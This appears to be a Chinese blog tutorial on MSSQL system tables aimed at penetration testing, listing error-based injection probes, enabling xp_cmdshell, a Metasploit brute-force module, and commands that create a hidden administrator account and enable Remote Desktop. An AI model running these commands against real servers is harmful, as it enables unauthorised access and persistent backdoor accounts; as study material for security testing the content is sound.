MSSQL数据库基础
Microsoft SQL Server 上的每个数据库在表中占一行。最初安装 SQL Server 时,sysdatabases 包含 master、model、msdb、mssqlweb 和 tempdb 数据库的项。该表只存储在 master 数据库中。这个表保存在master数据库中,这个表中保存的是什么信息呢?他是保存了所有的库名,以及库的ID,和一些相关信息。dbid从1到5是系统的。
·
MSSQL中自带数据库信息
库名 | 功能 |
---|---|
Master | 系统控制数据库 |
Model | 模板数据库,数据库时建立所有数据库的模板。 |
Tempdb | 临时容器,保存所有的临时表,存储过程和其他程序交互的临时文件 |
Msdb | 主要为用户使用,记录着计划信息、事件处理信息、数据备份、警告以及异常信息 |
MSSQL | 系统视图表(MSSQL数据库与MYSQL数据库一样,自带数据表sysobjects和 syscolumns) |
视图表 | 功能 |
---|---|
sysobjects | 记录了数据库中所有的表,常用字段为id,name和xtype |
syscolumns | 记录了数据库中所有表的字段,常用字段为id、name和xtype |
sys.databases | SQL Server 中所有的数据库 |
sys.sql_logins | SQL Server 中所有的登录名 |
information_schema.tables | 当前用户数据库的表 |
information_schema.columns | 当前用户数据库的列 |
sys.database_files | 存储在数据库中数据库文件 |
MSSQL三个关键系统表
sysdatabases
MSSQL中对sysdatabases系统表 的说明:
Microsoft SQL Server 上的每个数据库在表中占一行。最初安装 SQL Server 时,sysdatabases 包含 master、model、msdb、mssqlweb 和 tempdb 数据库的项。该表只存储在 master 数据库中。
这个表保存在master数据库中,这个表中保存的是什么信息呢?这个非常重要。他是保存了所有的库名,以及库的ID,和一些相关信息。
dbid从1到5是系统的。分别是:master、model、msdb、mssqlweb、tempdb 这五个库.
我们利用SQL语句, 就可以查询出所有的库名.:
-
Db_name()
当前数据库
-
sysdatabase
视图中的 Sysdatabase存储了mssql的所有库名 Select * from master..sysdatabases Select * from master.dbo.sysdatabases bid表示库id
-
Sysobject
Select * from master..sysobjects where xtype=char(85)
-
Syscolumns
Select * from master..yscolumns where id=3
-
报错
Select 1 where 1=convert(int,(select @@version))
测试xp_cmdshell存储过程的开关过程,并利用存储过程执行系统命令:
EXEC sp_configure ‘show advanced options’, 1;RECONFIGURE;EXEC sp_configure ‘xp_cmdshell’, 1;RECONFIGURE(EXEC sp_configure ‘show advanced options’, 1;该命令用于修改权限,提升) | 开启xp_cmdshell扩展 |
EXEC sp_configure ‘show advanced options’, 1;RECONFIGURE;EXEC sp_configure ‘xp_cmdshell’, 0;RECONFIGURE | 关闭xp_cmdshell扩展 |
msf爆破mssql密码
Msfconsole -q
Search mssql
Use auxiliary/scanner/mssql/mssql_login
存储过程利用
EXEC sp_configure ‘show advanced options’, 1;RECONFIGURE;EXEC sp_configure ‘xp_cmdshell’, 1;RECONFIGURE | 开启xp_cmdshell扩展 |
exec xp_cmdshell ‘mkdir c:\zzz’ | 在C盘中创建名为zzz目录 |
exec xp_cmdshell ‘net user zzz 123456 /add’ | 创建zzz用户 |
exec xp_cmdshell ‘net localgroup administrators zzz /add’ | zzz添加为管理员权限 |
wmic RDTOGGLE WHERE ServerName=‘%COMPUTERNAME%’ call SetAllowTSConnections 1 | 开启远程桌面 |
reg add “HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp” /t REG_DWORD /v portnumber /d 3389 /f | 设置远程桌面端口(默认开启3389) |
netstat -an | find “3389” |
更多推荐
已为社区贡献2条内容
所有评论(0)